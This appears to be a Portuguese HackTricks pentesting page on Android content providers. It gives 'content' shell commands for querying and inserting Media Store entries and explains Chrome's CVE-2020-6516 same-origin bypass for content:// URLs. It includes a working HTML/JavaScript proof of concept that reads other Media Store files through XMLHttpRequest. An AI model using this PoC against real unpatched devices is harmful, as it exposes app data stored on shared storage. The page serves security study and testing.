hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md
2023-06-06 18:56:34 +00:00

10 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Para experimentar com provedores de conteúdo, pode-se usar o comando content em dispositivos Android. O acesso root não é necessariamente obrigatório. Por exemplo, para ver a lista de arquivos gerenciados pelo Media Store, pode-se executar o seguinte comando:

$ content query --uri content://media/external/file

Para tornar a saída mais amigável ao usuário, é possível limitar as colunas exibidas para o identificador e caminho de cada arquivo indexado.

$ content query --uri content://media/external/file --projection _id,_data

Os provedores de mídia existem em seu próprio namespace privado. Como ilustrado no exemplo acima, para acessar um provedor de conteúdo, o URI correspondente content:// deve ser especificado. Geralmente, informações sobre os caminhos pelos quais um provedor pode ser acessado podem ser recuperadas olhando os manifestos de aplicativos (caso o provedor de conteúdo seja exportado por um aplicativo) ou o código-fonte do framework do Android.

Curiosamente, em dispositivos Android, o Chrome suporta o acesso a provedores de conteúdo por meio do esquema content://. Esse recurso permite que o navegador acesse recursos (por exemplo, fotos, documentos etc.) exportados por aplicativos de terceiros. Para verificar isso, pode-se inserir uma entrada personalizada no Media Store e, em seguida, acessá-la usando o navegador:

$ cd /sdcard
$ echo "Hello, world!" > test.txt
$ content insert --uri content://media/external/file \
    --bind _data:s:/storage/emulated/0/test.txt \
    --bind mime_type:s:text/plain

Para descobrir o identificador do arquivo recém-inserido:

$ content query --uri content://media/external/file \
    --projection _id,_data | grep test.txt
Row: 283 _id=747, _data=/storage/emulated/0/test.txt

E para visualizar o arquivo no Chrome, pode-se usar uma URL como a mostrada na imagem a seguir. Observe o identificador de arquivo 747 (descoberto acima), que é usado como sufixo na URL.

Chrome "Hello, world!"

Por exemplo, você pode listar todos os arquivos relacionados ao WhatsApp com:

$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
...

Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
...

A bypass da Política de Mesma Origem CVE-2020-6516 do Chrome

A Política de Mesma Origem (SOP) [12] nos navegadores dita que o conteúdo Javascript da URL A só poderá acessar o conteúdo da URL B se os seguintes atributos da URL permanecerem os mesmos para A e B:

  • O protocolo, por exemplo, https vs. http
  • O domínio, por exemplo, www.example1.com vs. www.example2.com
  • A porta, por exemplo, www.example1.com:8080 vs. www.example1.com:8443

Claro, há exceções para as regras acima, mas, em geral, um recurso de https://www.example1.com (por exemplo, um pedaço de código Javascript) não pode acessar o DOM de um recurso em https://www.example2.com, pois isso introduziria vazamentos de informações graves. A menos que uma política de Compartilhamento de Recursos de Origem Cruzada (CORS) permita explicitamente, não deveria ser possível para um recurso da web ignorar as regras da SOP.

É essencial observar que o Chrome considera content:// como um esquema local, assim como file://. Nesse caso, as regras da SOP são ainda mais rigorosas, pois cada URL de esquema local é considerada uma origem separada. Por exemplo, o código Javascript em file:///tmp/test.html não deve ser capaz de acessar o conteúdo de file:///tmp/test2.html, ou qualquer outro arquivo no sistema de arquivos, para esse assunto. Consequentemente, de acordo com as regras da SOP, um recurso carregado via content:// não deve ser capaz de acessar nenhum outro recurso content://. Bem, a vulnerabilidade CVE-2020-6516 do Chrome criou uma "exceção" para essa regra.

CVE-2020-6516 [03] é uma bypass da SOP em recursos carregados por meio de uma URL content://. Por exemplo, o código Javascript, executado dentro do contexto de um documento HTML carregado de content://com.example.provider/test.html, pode carregar e acessar qualquer outro recurso carregado por meio de uma URL content://. Esta é uma vulnerabilidade grave, especialmente em dispositivos que executam o Android 9 ou versões anteriores do Android. Nestes dispositivos, o armazenamento com escopo [13] não é implementado e, consequentemente, os dados específicos do aplicativo em /sdcard, e mais interessantemente em /sdcard/Android, podem ser acessados por meio do provedor de conteúdo Media Store do sistema.

Um prova de conceito é bastante simples. Um documento HTML que usa XMLHttpRequest para acessar URLs content:// arbitrários é carregado em /sdcard. Em seguida, é adicionado na Media Store e renderizado no Chrome, de maneira semelhante ao exemplo mostrado anteriormente. Para fins de demonstração, pode-se tentar carregar content://media/external/file/747, que é, na verdade, a URL da Media Store do exemplo "Hello, world!". Surpreendentemente, o código Javascript, executado dentro da origem do documento HTML, buscará e exibirá o conteúdo de test.txt.

<html>
<head>
    <title>PoC</title>
    <script type="text/javascript">
        function poc()
        {
            var xhr = new XMLHttpRequest();

            xhr.onreadystatechange = function()
            {
                if(this.readyState == 4)
                {
                    if(this.status == 200 || this.status == 0)
                    {
                        alert(xhr.response);
                    }
                }
            }

            xhr.open("GET", "content://media/external/file/747");
            xhr.send();
        }
    </script>
</head>
<body onload="poc()"></body>
</html>

Informações retiradas deste artigo: https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥